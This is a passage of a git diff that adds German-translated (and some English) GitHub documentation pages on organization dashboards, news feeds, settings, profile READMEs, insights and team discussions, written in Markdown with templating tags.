+{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
+
+{% data reusables.enterprise-accounts.invite-organization %}
+
+{% endif %}
+{% endif %}
+
+{% ifversion fpt or ghec %}
+## Terms of service and data protection for organizations
+
+An entity, such as a company, non-profit, or group, can agree to the Standard Terms of Service or the Corporate Terms of Service for their organization. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."
+
+{% endif %}
diff --git a/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md
new file mode 100644
index 0000000000..8c31ffe52c
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard.md
@@ -0,0 +1,56 @@
+---
+title: Informationen zum Dashboard Ihrer Organisation
+intro: 'Als Organisationsmitglied kannst du jederzeit das Dashboard Deiner Organisation aufrufen, um über die neuesten Aktivitäten auf dem Laufenden zu bleiben und Issues und Pull Requests zu beobachten, die du in der Organisation bearbeitest oder verfolgst.'
+redirect_from:
+  - /articles/about-your-organization-dashboard
+  - /github/setting-up-and-managing-organizations-and-teams/about-your-organization-dashboard
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Organization dashboard
+ms.openlocfilehash: c5f25d589e7b640fa411cd26f004961081c9d8e8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880774'
+---
+## Auf das Dashboard Deiner Organisation zugreifen
+
+{% data reusables.dashboard.access-org-dashboard %}
+
+## Neueste Aktivitäten finden
+
+Im Abschnitt „Recent activity" (Neueste Aktivitäten) Deines Newsfeed kannst Du schnell die zuletzt aktualisierten Issues und Pull Requests in Deiner Organisation finden und weiterverfolgen.
+
+{% data reusables.dashboard.recent-activity-qualifying-events %}
+
+## Repositorys in Deiner Organisation finden
+
+Über die linke Seitenleiste Deines Dashboards kannst Du auf die wichtigsten Repositorys Deines Unternehmens zugreifen, in denen Du aktiv bist.
+
+![Liste der Repositorys, in denen Du in Deiner Organisation am aktivsten bist](/assets/images/help/dashboard/repositories-from-organization-dashboard.png)
+
+## Über Aktivitäten in der Organisation auf dem Laufenden bleiben
+
+Im Bereich "Alle Aktivitäten" Deines Newsfeed kannst Du Aktualisierungen von anderen Teams und Repositorys in Deiner Organisation ansehen.
+
+Der Abschnitt "Alle Aktivitäten" zeigt alle aktuellen Aktivitäten in der Organisation, einschließlich Aktivitäten in Repositorys, die Du nicht abonniert hast, und von Personen, denen Du nicht folgst. Weitere Informationen findest du unter „[Informationen zu Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" und „[Personen folgen](/articles/following-people)".
+
+Beispielsweise werden im Newsfeed der Organisation Aktualisierungen angezeigt, wenn jemand in der Organisation:
+ - einen neuen Branch erstellt,
+ - einen Issue oder Pull Request kommentiert,
+ - einen Pull-Request-Review-Kommentar absendet,
+ - ein Repository forkt,
+ - eine Wiki-Seite erstellt,
+ - Pusht Commits.{% ifversion fpt or ghes or ghec %}
+ - Ein öffentliches Repository erstellen{% endif %}
+
+## Weitere Informationen
+
+- „[Informationen zum persönlichen Dashboard](/articles/about-your-personal-dashboard)“
diff --git a/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
new file mode 100644
index 0000000000..02f702fa56
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
@@ -0,0 +1,30 @@
+---
+title: About your organization’s news feed
+intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization.
+redirect_from:
+  - /articles/news-feed
+  - /articles/about-your-organization-s-news-feed
+  - /articles/about-your-organizations-news-feed
+  - /github/setting-up-and-managing-organizations-and-teams/about-your-organizations-news-feed
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Organization news feed
+---
+
+An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.product_name %}.
+
+## Accessing your organization's news feed
+
+1. {% data variables.product.signin_link %} to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
+2. Open your {% data reusables.user-settings.personal_dashboard %}.
+3. Click the account context switcher in the upper-left corner of the page.
+  ![Context switcher button in Enterprise](/assets/images/help/organizations/account_context_switcher.png)
+4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %}
+  ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}
+  ![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
diff --git a/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
new file mode 100644
index 0000000000..03f0cbb78b
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
@@ -0,0 +1,39 @@
+---
+title: Auf die Einstellungen Deiner Organisation zugreifen
+redirect_from:
+  - /articles/who-can-access-organization-billing-information-and-account-settings
+  - /articles/managing-the-organization-s-settings
+  - /articles/who-can-see-billing-information-account-settings
+  - /articles/who-can-see-billing-information-and-access-account-settings
+  - /articles/managing-an-organization-s-settings
+  - /articles/accessing-your-organization-s-settings
+  - /articles/accessing-your-organizations-settings
+  - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organizations-settings
+intro: 'Auf der Seite mit den Einstellungen für das Organisationskonto gibt es mehrere Möglichkeiten, das Konto zu verwalten, beispielsweise über die Einstellungen für die Abrechnung, die Teammitgliedschaft und die Repositorys.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Access organization settings
+ms.openlocfilehash: 952b4c7d911c131fa7913b9f8ce9f6da67e34cd5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145130890'
+---
+{% ifversion fpt or ghec %}
+
+{% tip %}
+
+**Tipp**: Nur Organisationsbesitzer und Abrechnungsmanager können die Abrechnungsinformationen und die vollständige Reihe von Kontoeinstellungen für eine Organisation anzeigen und ändern. Organisationsmoderatoren sehen nur Moderationseinstellungen. {% data reusables.organizations.new-org-permissions-more-info %}
+
+{% endtip %}
+
+{% endif %}
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
diff --git a/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md
new file mode 100644
index 0000000000..f25cae78a3
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch.md
@@ -0,0 +1,30 @@
+---
+title: Creating a new organization from scratch
+intro: Create an organization to apply fine-grained access permissions to repositories.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /articles/creating-a-new-organization-from-scratch
+  - /admin/user-management/creating-organizations
+  - /github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch
+topics:
+  - Organizations
+  - Teams
+shortTitle: Create new organization
+---
+
+When you create a new organization from scratch, it doesn't have any repositories associated with it. For more information on adding repositories to your organization, see "[Creating a new repository](/articles/creating-a-new-repository)" and "[Transferring a repository](/articles/transferring-a-repository)."
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.organizations %}
+{% data reusables.organizations.new-organization %}
+4. Follow the prompts to create your organization. {% ifversion fpt or ghec %}For more information about the plans available for your team, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)."{% endif %}
+
+## Further reading
+
+{% ifversion fpt or ghec %}
+- "[Setting your billing email](/articles/setting-your-billing-email)"{% endif %}
+- "[About organizations](/articles/about-organizations)"
diff --git a/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md
new file mode 100644
index 0000000000..d1c950fa80
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md
@@ -0,0 +1,93 @@
+---
+title: Anpassen des Profils deiner Organisation
+intro: 'Du kannst Informationen zu deiner Organisation freigeben, indem du das Profil deiner Organisation anpasst.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.3'
+topics:
+  - Organizations
+shortTitle: Customize organization profile
+ms.openlocfilehash: 66f234427f6e47213578e8f906e123d98c07a092
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147447930'
+---
+## Informationen zur Profilseite deiner Organisation
+
+{% ifversion org-profile-pin-private %} Du kannst die Übersichtsseite deiner Organisation anpassen, um eine README-Datei und angeheftete Repositorys anzuzeigen, die für öffentliche Benutzer*innen oder Mitglieder der Organisation bestimmt sind.
+
+![Abbildung der öffentlichen Profilseite einer Organisation](/assets/images/help/organizations/public_profile.png)
+
+Bei {% data variables.product.prodname_dotcom %} angemeldete Mitglieder deiner Organisation können für die Ansicht der README-Datei und der angehefteten Repositorys `member` oder `public` auswählen, wenn sie die Profilseite deiner Organisation besuchen. 
+
+![Abbildung der Kontextumschaltung für die Ansicht der öffentlichen Profilseite einer Organisation](/assets/images/help/organizations/profile_view_switcher_public.png)
+
+Bei Vorhandensein einer auf Mitglieder beschränkten README-Datei oder auf Mitglieder beschränkter angehefteter Repositorys wird die Ansicht standardmäßig auf `member` festgelegt. Anderenfalls lautet die Einstellung `public`.
+
+![Abbildung einer auf Mitglieder beschränkten Profilseite einer Organisation](/assets/images/help/organizations/member_only_profile.png)
+
+Benutzer*innen, die keine Mitglieder deiner Organisation sind, wird die Ansicht in der Einstellung `public` angezeigt.
+
+### Angeheftete Repositorys
+
+Du kannst Benutzern mühelos Zugriff auf wichtige oder häufig verwendete Repositorys gewähren, indem du bis zu sechs Repositorys für öffentliche Benutzer und sechs Repositorys für Mitglieder der Organisation auswählst. Sobald du Repositorys deinem Organisationsprofil anheftest, wird der Abschnitt „Angeheftet“ oberhalb des Abschnitts „Repositorys“ der Profilseite angezeigt.
+
+Nur Organisationsbesitzer können Repositorys anheften. Weitere Informationen findest du unter [Anheften von Repositorys an das Profil deiner Organisation](#pinning-repositories-to-your-organizations-profile).
+
+### INFODATEIEN zum Organisationsprofil
+
+{% endif %}
+
+Du kannst Informationen über das mögliche Engagement in deiner Organisation weitergeben, indem du sowohl für öffentliche Benutzer als auch für Mitglieder der Organisation eine Organisationsprofil-INFODATEI erstellst. {% data variables.product.prodname_dotcom %} zeigt deine Organisationsprofil-INFODATEI in der Registerkarte „Übersicht“ deiner Organisation an.
+
+Du kannst auswählen, welche Informationen in deine Organisationsprofil-INFODATEI aufgenommen werden sollen. Hier sind einige Beispiele für hilfreiche Informationen.
+
+- Ein „Info“-Abschnitt, der deine Organisation beschreibt
+- Anleitungen zum Abrufen von Hilfe in der Organisation
+
+Du kannst mithilfe von {% data variables.product.company_short %}-Markdown Text formatieren und Emojis, Bilder und GIFs in die README-Datei deines Organisationsprofils einfügen. Weitere Informationen findest du unter [Erste Schritte beim Schreiben und Formatieren auf {% data variables.product.prodname_dotcom %}](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github).
+
+## Hinzufügen einer öffentlichen Organisationsprofil-INFODATEI
+
+1. Wenn deine Organisation noch kein öffentliches `.github`-Repository besitzt, erstelle ein öffentliches `.github`-Repository.
+2. Erstelle im `.github`-Repository deiner Organisation eine `README.md`-Datei im `profile`-Ordner.
+3. Committe die Änderungen an die `README.md`-Datei. Der Inhalt der `README.md`-Datei wird im öffentlichen Profil deiner Organisation angezeigt.
+
+   ![Abbildung der öffentlichen INFODATEI einer Organisation](/assets/images/help/organizations/org_public_readme.png)
+
+{% ifversion org-profile-pin-private %}
+
+## Hinzufügen einer nur für Mitglieder bestimmten Organisationsprofil-INFODATEI
+
+1. Wenn deine Organisation noch kein `.github-private`-Repository besitzt, erstelle ein privates Repository namens `.github-private`. 
+2. Erstelle im `.github-private`-Repository deiner Organisation eine `README.md`-Datei im `profile`-Ordner.
+3. Committe die Änderungen an die `README.md`-Datei. Der Inhalt von `README.md` wird in der Mitgliedsansicht des Profils deiner Organisation angezeigt.
+
+   ![Abbildung der auf Mitglieder beschränkten README-Datei einer Organisation](/assets/images/help/organizations/org_member_readme.png)
+
+## Anheften von Repositorys an das Profil deiner Organisation
+
+Du kannst Repositorys, die du besonders hervorheben möchtest, z. B. solche, die häufig genutzt werden, der Profilseite deiner Organisation anheften. Um auszuwählen, welche Repositorys dem Profil deiner Organisation angeheftet werden sollen, musst du ein*e Organisationsinhaber*in oder -administrator*in sein.
+
+1. Navigiere zur Profilseite deiner Organisation.
+2. Wähle in der rechten Randleiste der Seite im {% octicon "eye" aria-label="The eye octicon" %}-„Anzeigen als“-Link die Profilansicht **Öffentlich** oder **Mitglied** im Dropdownmenü aus.
+
+   ![Abbildung des Organisationsprofilansicht-Dropdownmenüs](/assets/images/help/organizations/org_profile_view.png)
+
+3. Wähle im Abschnitt der angehefteten Repositorys **Pins anpassen** aus.
+
+   ![Abbildung des Links „Pins anpassen“](/assets/images/help/organizations/customize_pins_link.png)
+
+   - Wenn du dem Profil deiner Organisation noch keine Repositorys angeheftet hast, musst du stattdessen in der rechten Randleiste der Profilseite auf **Repositorys anheften** klicken.
+   ![Abbildung des Links „Repositorys anheften“ in der rechten Randleiste](/assets/images/help/organizations/pin_repositories_link.png)
+
+4. Wähle im Dialogfeld „Angeheftete Repositorys bearbeiten“ eine Kombination von bis zu sechs öffentlichen, {% ifversion not fpt %}privaten oder internen{% else %}oder privaten{% endif %} Repositorys zur Anzeige aus.
+
+   ![Abbildung des Dialogfelds „Angeheftete Repositorys bearbeiten“](/assets/images/help/organizations/pinned_repo_dialog.png)
+
+5. Klicke auf **Pins speichern**.
+
+{% endif %}
diff --git a/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/index.md b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/index.md
new file mode 100644
index 0000000000..f3513a8b9a
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/index.md
@@ -0,0 +1,33 @@
+---
+title: Mit Gruppen in Organisationen zusammenarbeiten
+intro: Gruppen von Personen können an mehreren Projekten gleichzeitig in Organisationskonten zusammenarbeiten.
+redirect_from:
+  - /articles/creating-a-new-organization-account
+  - /articles/collaborating-with-groups-in-organizations
+  - /github/setting-up-and-managing-organizations-and-teams/collaborating-with-groups-in-organizations
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /about-organizations
+  - /about-your-organization-dashboard
+  - /best-practices-for-organizations
+  - /creating-a-new-organization-from-scratch
+  - /accessing-your-organizations-settings
+  - /customizing-your-organizations-profile
+  - /about-your-organizations-news-feed
+  - /viewing-insights-for-your-organization
+shortTitle: Collaborate with groups
+ms.openlocfilehash: dd6c9950c29328c2170f58045f3a0dfeafe03637
+ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: '148163444'
+---
+
diff --git a/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
new file mode 100644
index 0000000000..cd625366f9
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-groups-in-organizations/viewing-insights-for-your-organization.md
@@ -0,0 +1,75 @@
+---
+title: Organisationseinblicke anzeigen
+intro: 'Organisationseinblicke enthalten Daten zu den Aktivitäten, Beiträgen und Abhängigkeiten Deiner Organisation.'
+redirect_from:
+  - /articles/viewing-insights-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/viewing-insights-for-your-organization
+versions:
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: View organization insights
+permissions: Organization members can view organization insights.
+ms.openlocfilehash: 5398d60f6a937c35e188dc97e44bf25b01b6d676
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145130878'
+---
+## Informationen zu Organisationserkenntnissen
+
+Mithilfe von Einblicken in Organisationsaktivitäten kannst Du besser nachvollziehen, wie die Mitglieder Deiner Organisation {% data variables.product.product_name %} verwenden, um zusammenzuarbeiten und Code zu erstellen. Mithilfe von Abhängigkeits-Einblicken kannst Du die Open-Source-Nutzung Deiner Organisation nachverfolgen, melden und entsprechend darauf reagieren.
+
+{% note %}
+
+**Hinweis:** Um Erkenntnisse über die Organisation zu erhalten, muss deine Organisation {% data variables.product.prodname_ghe_cloud %} verwenden. {% data reusables.enterprise.link-to-ghec-trial %}
+
+{% endnote %}
+
+## Einblicke in Organisationsaktivitäten anzeigen
+
+{% note %}
+
+**Hinweis:** Die Erkenntnisse über die Aktivitäten von Organisationen befinden sich derzeit in der öffentlichen Beta-Phase und können sich noch ändern.
+
+{% endnote %}
+
+Mithilfe von Einblicken in Organisationsaktivitäten kannst Du wöchentliche, monatliche und jährliche Datenvisualisierungen Deiner gesamten Organisation oder von spezifischen Repositorys anzeigen. Dazu zählen Issue- und Pull-Request-Aktivitäten, die am häufigsten verwendeten Sprachen sowie kumulative Informationen dahingehend, wo Deine Organisationsmitglieder ihre Zeit aufgewendet haben.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %}
+3. Klicke unter dem Namen deiner Organisation auf {% octicon "graph" aria-label="The bar graph icon" %} **Erkenntnisse**.
+  ![Klicke auf die Registerkarte „Insights“ (Einblicke) der Organisation](/assets/images/help/organizations/org-nav-insights-tab.png)
+4. Optional kannst du in der oberen rechten Ecke der Seite Daten für die letzten **1 Wochen**, **1 Monat** oder **1 Jahr** anzeigen.
+  ![Auswahl des Zeitraums zum Anzeigen der Organisationserkenntnisse](/assets/images/help/organizations/org-insights-time-period.png)
+5. Wähle optional in der oberen rechten Ecke der Seite die entsprechende Option aus, um Daten für bis zu drei Repositorys anzuzeigen, und klicke auf **Anwenden**.
+  ![Auswahl von Repositorys zum Anzeigen der Organisationserkenntnisse](/assets/images/help/organizations/org-insights-repos.png)
+
+## Organisations-Abhängigkeits-Einblicke anzeigen
+
+{% note %}
+
+**Hinweis:** Hinweis: Stelle sicher, dass du das [Abhängigkeitsdiagramm](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph) aktiviert hast. 
+
+{% endnote %}
+
+Mithilfe von Abhängigkeits-Einblicken kannst Du Schwachstellen, Lizenzen und andere wichtige Informationen für die Open-Source-Projekte anzeigen, von denen Deine Organisation abhängig ist.
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %}
+3. Klicke unter dem Namen deiner Organisation auf {% octicon "graph" aria-label="The bar graph icon" %} **Erkenntnisse**.
+  ![Registerkarte „Insights“ (Erkenntnisse) auf der Haupt-Navigationsleiste der Organisation](/assets/images/help/organizations/org-nav-insights-tab.png)
+4. Um die Abhängigkeiten für diese Organisation anzuzeigen, klicke auf **Abhängigkeiten**.
+  ![Registerkarte Abhängigkeiten unter der Haupt-Navigationsleiste der Organisation](/assets/images/help/organizations/org-insights-dependencies-tab.png)
+5. Um Erkenntnisse über Abhängigkeiten für alle deine {% data variables.product.prodname_ghe_cloud %} Organisationen zu erhalten, klicke auf **Meine Organisationen**.
+  ![Schaltfläche Meine Organisationen unter der Registerkarte Abhängigkeiten](/assets/images/help/organizations/org-insights-dependencies-my-orgs-button.png)
+6. Du kannst auf die Ergebnisse in den Diagrammen **Sicherheitshinweise öffnen** und **Lizenzen** klicken, um nach einem Schwachstellenstatus, nach einer Lizenz oder nach einer Kombination aus beiden zu filtern.
+  ![Schwachstellen der eigenen Organisation und Diagramm mit Lizenzen](/assets/images/help/organizations/org-insights-dependencies-graphs.png)
+7. Du kannst auf {% octicon "package" aria-label="The package icon" %} **Abhängigkeiten** neben den Sicherheitsrisiken klicken, um zu sehen, welche Abhängigen in deiner Organisation die jeweilige Bibliothek verwenden.
+  ![Angreifbare Abhängigkeiten der eigenen Organisationen](/assets/images/help/organizations/org-insights-dependencies-vulnerable-item.png)
+
+## Weiterführende Themen
+ - "[Informationen zu Organisationen](/organizations/collaborating-with-groups-in-organizations/about-organizations)"
+ - [Untersuchen der Abhängigkeiten eines Repositorys](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)
+ - " [Die Sichtbarkeit der Abhängigkeitserkenntnisse deiner Organisation ändern](/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights) "{% ifversion ghec %}
+- [Erzwingen von Richtlinien für Abhängigkeitserkenntnisse in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise){% endif %}
diff --git a/translations/de-DE/content/organizations/collaborating-with-your-team/about-team-discussions.md b/translations/de-DE/content/organizations/collaborating-with-your-team/about-team-discussions.md
new file mode 100644
index 0000000000..c97c5de986
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-your-team/about-team-discussions.md
@@ -0,0 +1,63 @@
+---
+title: Informationen zu Teamdiskussionen
+intro: 'Dein Team kann in Diskussionsbeiträgen auf der Teamseite einer Organisation gemeinsam planen, sich gegenseitig auf den neuesten Stand bringen oder über jedes beliebige Thema sprechen.'
+redirect_from:
+  - /articles/about-team-discussions
+  - /github/building-a-strong-community/about-team-discussions
+  - /github/setting-up-and-managing-organizations-and-teams/about-team-discussions
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+ms.openlocfilehash: 173a067c99ff6ab10ceb6d7f0a7ef288de58b658
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145130866'
+---
+{% data reusables.organizations.team-discussions-purpose %}
+
+Jedes Organisationsmitglied kann Beiträge auf der Seite deines Teams veröffentlichen oder an einer öffentlichen Diskussion teilnehmen. {% data reusables.organizations.team-discussions-permissions %}
+
+![Registerkarte mit Diskussionen auf einer Teamseite mit öffentlichen und privaten Diskussionen](/assets/images/help/organizations/team-page-discussions-tab.png)
+
+Du kannst auf jede Teamdiskussion verknüpfen, um sie an anderer Stelle zu referenzieren. Du kannst wichtige Beiträge an die Seite deines Teams anheften, um sie später schnell wiederzufinden. Weitere Informationen findest du unter [Anheften einer Teamdiskussion](/organizations/collaborating-with-your-team/pinning-a-team-discussion).
+
+![Registerkarte mit angehefteten Diskussionen auf einer Teamseite mit angehefteter Diskussion](/assets/images/help/organizations/team-discussions-pinned.png)
+
+{% data reusables.organizations.team-discussions-default %}-Inhaber können Teamdiskussionen für die gesamte Organisation deaktivieren. Weitere Informationen findest du unter [Deaktivieren von Teamdiskussionen für deine Organisation](/articles/disabling-team-discussions-for-your-organization).
+
+## Benachrichtigungen für Teamdiskussionen
+
+Wenn jemand eine öffentliche Diskussion auf der Seite eines Teams veröffentlicht oder beantwortet, erhalten Mitglieder des Teams und Mitglieder von untergeordneten Teams E-Mail- oder Webbenachrichtigungen. Wenn jemand eine private Diskussion auf der Seite eines Teams veröffentlicht oder beantwortet, erhalten nur Mitglieder des Teams Benachrichtigungen.
+
+{% tip %}
+
+**Tipp:** Abhängig von deinen Benachrichtigungseinstellungen erhältst du Aktualisierungen per E-Mail, über die Seite mit den Webbenachrichtigungen auf {% data variables.product.product_name %} oder beides. Weitere Informationen findest du unter [Konfigurieren von Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications).
+
+{% endtip %}
+
+Wenn dein Benutzername in einer Teamdiskussion erwähnt wird, erhältst du standardmäßig Benachrichtigungen für den Beitrag, in dem dein Benutzername erwähnt wird, und alle Antworten auf diesen Beitrag. Außerdem erhältst du standardmäßig Benachrichtigungen für andere Antworten auf einen von Dir beantworteten Beitrag.
+
+Um Benachrichtigungen für Teamdiskussionen zu deaktivieren, kannst du einen bestimmten Diskussionsbeitrag kündigen oder deine Benachrichtigungseinstellungen so ändern, dass du die Diskussionen eines bestimmten Teams nicht mehr beobachtest oder vollständig ignorierst. Du kannst Benachrichtigungen für einen bestimmten Diskussionsbeitrag abonnieren, auch wenn du die Diskussionen dieses Teams nicht beobachtest.
+
+Weitere Informationen findest du unter [Anzeigen deiner Abonnements](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions) und [Geschachtelte Teams](/articles/about-teams/#nested-teams).
+
+{% ifversion fpt or ghec %}
+
+## Organisationsdiskussionen
+
+Du kannst auch Organisationsdiskussionen verwenden, um Unterhaltungen in deiner Organisation zu erleichtern. Weitere Informationen findest du unter [Aktivieren oder Deaktivieren von GitHub Discussions für eine Organisation](/organizations/managing-organization-settings/enabling-or-disabling-github-discussions-for-an-organization).
+
+{% endif %}
+
+## Weiterführende Themen
+
+- [Schnellstart für die Kommunikation mit {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/quickstart-for-communicating-on-github)
+- [Informationen zu Teams](/articles/about-teams)
+- [Erstellen einer Teamdiskussion](/organizations/collaborating-with-your-team/creating-a-team-discussion)
+- [ bearbeiten oder löschen einer Teamdiskussion](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion)
diff --git a/translations/de-DE/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md b/translations/de-DE/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md
new file mode 100644
index 0000000000..098b21344b
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-your-team/creating-a-team-discussion.md
@@ -0,0 +1,37 @@
+---
+title: Eine Teamdiskussion erstellen
+intro: 'Jedes Organisationsmitglied kann einen _öffentlichen_ Teamdiskussionsbeitrag erstellen. Um einen _privaten_ Teamdiskussionsbeitrag zu erstellen, musst du Mitglied des Teams oder Organisationsinhaber*in sein.'
+redirect_from:
+  - /articles/creating-a-team-discussion
+  - /github/building-a-strong-community/creating-a-team-discussion
+  - /github/setting-up-and-managing-organizations-and-teams/creating-a-team-discussion
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Create a team discussion
+ms.openlocfilehash: 2d6c67fb81bcc61b6e9f1d85ff589e2167798a72
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145130865'
+---
+{% data reusables.organizations.team-discussions-permissions %} Weitere Informationen findest du unter [Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions).
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team-discussions-tab %}
+6. Gib einen Titel für die Teamdiskussion und einen ersten Kommentar ein, um eine Unterhaltung zu starten.
+  ![Neuer Kommentar zur Teamdiskussion](/assets/images/help/projects/team-discussions-comment.png)
+7. Optional kannst du über das Dropdownmenü auswählen, ob dein Beitrag privat oder öffentlich sein soll.
+  ![Menü für Datenschutzeinstellungen bei Teamdiskussionen](/assets/images/help/projects/team-discussions-privacy-menu.png)
+8. Klicke auf **Comment** (Kommentieren).
+  ![Schaltfläche zum Erstellen eines neuen Kommentars zur Teamdiskussion](/assets/images/help/projects/team-discussions-comment-button.png)
+
+## Weitere Informationsquellen
+
+  - „[Informationen zu Teamdiskussionen](/organizations/collaborating-with-your-team/about-team-discussions)“
+  - „[Eine Teamdiskussion bearbeiten oder löschen](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion)“
+  - „[Eine Teamdiskussion anheften](/organizations/collaborating-with-your-team/pinning-a-team-discussion)“
diff --git a/translations/de-DE/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md b/translations/de-DE/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md
new file mode 100644
index 0000000000..72e6b1a3b4
--- /dev/null
+++ b/translations/de-DE/content/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion.md
@@ -0,0 +1,34 @@
+---
+title: Eine Teamdiskussion bearbeiten oder löschen
+intro: 'Organisationsmitglieder können Diskussionen auf der Seite eines Teams bearbeiten oder löschen. Wenn du ein Organisationsmitglied bist, kannst du eine Diskussion bearbeiten oder löschen.'
+redirect_from:
+  - /articles/editing-or-deleting-a-team-discussion
+  - /github/building-a-strong-community/editing-or-deleting-a-team-discussion
